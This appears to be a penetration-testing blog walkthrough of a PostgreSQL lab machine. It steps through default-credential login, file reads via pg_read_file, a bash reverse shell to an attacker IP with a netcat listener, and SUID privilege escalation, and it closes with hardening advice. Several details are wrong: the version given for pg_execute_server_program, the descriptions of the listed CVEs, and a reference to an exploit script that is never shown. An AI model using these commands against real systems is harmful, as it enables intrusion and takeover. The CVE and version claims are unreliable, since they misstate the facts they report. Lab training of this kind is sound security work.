Blog
Mar 12, 2025
PostgreSQL Exploit
Sharpen your hacking skills! Learn from our walkthrough of a PostgreSQL exploit in the Nibbles machine on PG Practice.
4 min read

PostgreSQL is a widely used open-source relational database management system (RDBMS). While known for its robustness and security features, misconfigurations and outdated versions can introduce vulnerabilities that attackers can exploit.
In this blog post, we provide a technical walkthrough of exploiting a PostgreSQL vulnerability in the Nibbles machine on PG Practice.
This lab demonstrates exploiting a PostgreSQL server with default credentials and leveraging its misconfigured settings to gain a reverse shell. Learners will escalate privileges by abusing a misconfigured SUID find binary. The lab emphasizes database exploitation, remote command execution, and privilege escalation through SUID misconfigurations.
We will cover:
- Scanning for PostgreSQL services
- Exploiting PostgreSQL authentication weaknesses
- Achieving remote command execution (RCE)
- Upgrading to a stable shell
- Privilege escalation strategies
- Mitigation techniques to secure PostgreSQL instances
- Real-world examples of PostgreSQL vulnerabilities
Before launching any attack, it’s crucial to gather information about the target system. In the Nibbles machine, we identify PostgreSQL as a running service. By scanning open ports and checking the version, we gain insight into possible attack vectors.
- Run an initial Nmap scan:
nmap -sV -p- <target-ip>
- Identify PostgreSQL service: The scan reveals that PostgreSQL is running on port 5437.
- Check PostgreSQL version:
psql -h <target-ip> -p 5437 -U postgres
- This step helps determine whether the database is vulnerable to known exploits.
After confirming the PostgreSQL service, the next step is attempting authentication. Default credentials, such as postgres:postgres, are often left unchanged in misconfigured databases. By testing these credentials, we successfully gain access.
psql -h <target-ip> -p 5437 -U postgres -W
Once authenticated, we aim to execute commands remotely using PostgreSQL’s built-in functionalities.
PostgreSQL supports various extensions, some of which can be misused for command execution. One commonly exploited feature is copying commands to a writable directory and executing them:
COPY (SELECT pg_read_file('/etc/passwd')) TO '/tmp/output.txt';
Alternatively, we can use pg_execute_server_program (introduced in PostgreSQL 9.3) for direct command execution.
Several CVEs highlight PostgreSQL security risks:
- CVE-2019-9193: Authentication bypass via a rogue replica.
- CVE-2022-1552: SQL injection via improperly sanitized queries.
- CVE-2023-39417: RCE through a crafted trigger function.
Each of these can allow attackers to manipulate the database, exfiltrate sensitive data, or escalate privileges.
Once we have RCE, the next goal is to establish a stable shell. A simple bash one-liner can help achieve this:
/bin/bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
- Start a Netcat listener on the attack machine:
nc -lvnp 4444
- Modify the exploit script: Replace whoami with the reverse shell command.
- Execute the exploit: Running the modified script establishes a connection, providing an interactive shell.
A more robust method is using Python for a stable shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
This ensures the shell supports command history and navigation.
With a foothold on the system, we pivot to privilege escalation. One effective method is identifying SetUID binaries that allow execution as a higher-privileged user.
find / -perm -4000 -type f 2>/dev/null
Common vulnerable binaries include:
- find: Allows command execution via -exec
- vim: Can be used to spawn a root shell
- less: Can escape into a root shell via !sh
If a vulnerable binary is found, we research and exploit it to escalate to root privileges.
PostgreSQL often runs under a dedicated user account. If this account has excessive privileges, attackers can escalate to system-level access. Techniques include:
- Abusing
COPY
to overwrite critical system files - Leveraging database triggers to execute commands as root
- Exploiting PostgreSQL extensions like
pg_execute_server_program
Beyond basic privilege escalation, attackers can:
- Use PostgreSQL stored procedures to execute OS commands
- Create rogue database users with administrative privileges
- Leverage lateral movement techniques to compromise additional systems
- Extract sensitive data from database logs and configuration files
To prevent similar exploits in real-world environments, follow these best practices:
- Use strong, unique credentials for database accounts.
- Restrict network access to the PostgreSQL service.
- Disable unnecessary extensions that allow command execution.
- Regularly update PostgreSQL to the latest secure version.
- Implement the principle of least privilege to minimize attack surfaces.
- Enable logging and monitoring for suspicious database activity.
To further secure PostgreSQL:
- Disable remote access by setting
listen_addresses = 'localhost'
. - Use SSL encryption to protect database traffic.
- Apply firewall rules to block unauthorized connections.
- Monitor system logs for anomalous activity.
- Implement role-based access control (RBAC) to limit privilege escalation.
This walkthrough highlights the risks associated with misconfigured PostgreSQL services. By understanding these vulnerabilities and how they are exploited, cybersecurity professionals can better secure their systems.
For more in-depth cybersecurity training and hands-on practice, explore PG Practice labs, where you can refine your penetration testing skills in a controlled environment.
Stay in the know: Become an OffSec Insider
Get the latest updates about resources, events & promotions from OffSec!
Latest from OffSec

Enterprise Security
How OSCP Holders Can Lead Their Teams to Greater Cybersecurity Resilience
Champion OSCP training in your organization to build a unified, resilient security team.
Apr 11, 2025
6 min read

Research & Tutorials
CVE-2024-57727: Path Traversal Vulnerability in SimpleHelp Web Application
CVE-2024-57727 lets attackers read sensitive files via path traversal in SimpleHelp. Learn more about how attackers exploit this flaw.
Apr 10, 2025
3 min read

Penetration Testing
AI Penetration Testing: How to Secure LLM Systems
Explore how AI penetration testing enhances LLM security, addressing unique vulnerabilities and improving cyber defenses.
Apr 3, 2025
8 min read